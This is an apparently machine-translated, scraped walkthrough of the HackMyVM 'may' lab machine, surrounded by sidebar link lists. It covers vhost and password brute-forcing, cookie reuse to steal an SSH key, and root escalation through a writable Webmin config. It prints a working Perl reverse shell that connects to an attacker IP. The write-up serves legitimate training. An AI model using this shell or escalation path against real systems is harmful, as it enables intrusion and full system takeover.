当前位置:网站首页>hackmyvm: may walkthrough
hackmyvm: may walkthrough
2022-08-02 03:59:00 【xdeclearn】
hackmyvm: may walkthrough
信息收集

访问80,Would jump to domain namemay.hmv访问,这里需添加hosts访问.
Got a user Mingmarie.
Blasting directory failed,于是爆破vhost.
找到两个vhost,portal和ssh.添加hosts后访问portal.may.hmv.This a login page,会验证用户名和密码,After a failed attempt to inject,Using the user name password try blasting obtained from the front.
得到密码rebeldeAnd capturing the successcookie,将这个cookie注入到http://ssh.may.hmv/check.php的请求中去,成功获取marie用户的私钥.
获取user flag
To save the private key,And Settings for the current user to read and write only,ssh登录marie.

获取root flag
查看root用户进程,Found the following process.
查看miniserv.conf文件权限,发现marie可以直接编辑,于是在home目录下创建一个failed.pl替换掉默认的.


在failed.plAdd the reboundshell代码.
[email protected]:~$ cat failed.pl
#!/usr/bin/perl
use Socket;$i="192.168.143.135";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){
open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};
open(CONF, "</etc/webmin/miniserv.conf") || die "Failed to open /etc/webmin/miniserv.conf : $!";
while(<CONF>) {
$root = $1 if (/^root=(.*)/);
}
close(CONF);
$root || die "No root= line found in /etc/webmin/miniserv.conf";
$ENV{
'PERLLIB'} = "$root";
$ENV{
'WEBMIN_CONFIG'} = "/etc/webmin";
$ENV{
'WEBMIN_VAR'} = "/var/webmin";
delete($ENV{
'MINISERV_CONFIG'});
chdir("$root");
exec("$root/record-failed.pl", @ARGV) || die "Failed to run $root/record-failed.pl : $!";
利用sudo重启虚拟机(marie可以无密码执行sudo reboot).After the restart casuallywebminTo log on to a wrong account can reboundroot.
边栏推荐
- hackmyvm-bunny walkthrough
- hackmyvm-hopper walkthrough
- (3) Thinkphp6 database
- ES6三点运算符、数组方法、字符串扩展方法
- [league/flysystem]一个优雅且支持度非常高的文件操作接口
- ES6介绍+定义变量+不同情况下箭头函数的this指向
- easyswoole uses redis to perform geoRadiusByMember Count invalid fix
- Query the indexes of all tables in the database and parse them into sql
- hackmyvm: again walkthrough
- CTF入门之php文件包含
猜你喜欢
随机推荐
Praying: 1 vulnhub walkthrough
[symfony/mailer] An elegant and easy-to-use mail library
TCP通信程序
TypeScript 错误 error TS2469、error TS2731 解决办法
关于tp的apache 的.htaccess文件
稳定好用的短连接生成平台,支持API批量生成
(4) 函数、Bug、类与对象、封装、继承、多态、拷贝
4.表单与输入
DVWA靶机安装教程
About the apache .htaccess file of tp
16. JS events, string and operator
阿里云设置域名解析重定向后,无法使用Chrome访问
TypeScript error error TS2469, error TS2731 solution
[sebastian/diff]一个比较两段文本的历史变化扩展库
SQL: DDL, DML, DQL, DCL corresponding introduction and demonstration
IP access control: teach you how to implement an IP firewall with PHP
hackmyvm: kitty walkthrough
点名系统和数组元素为对象的排序求最大值和最小值
4. The form with the input
ES6数组的扩展方法map、filter、reduce、fill和数组遍历for…in for…of arr.forEach








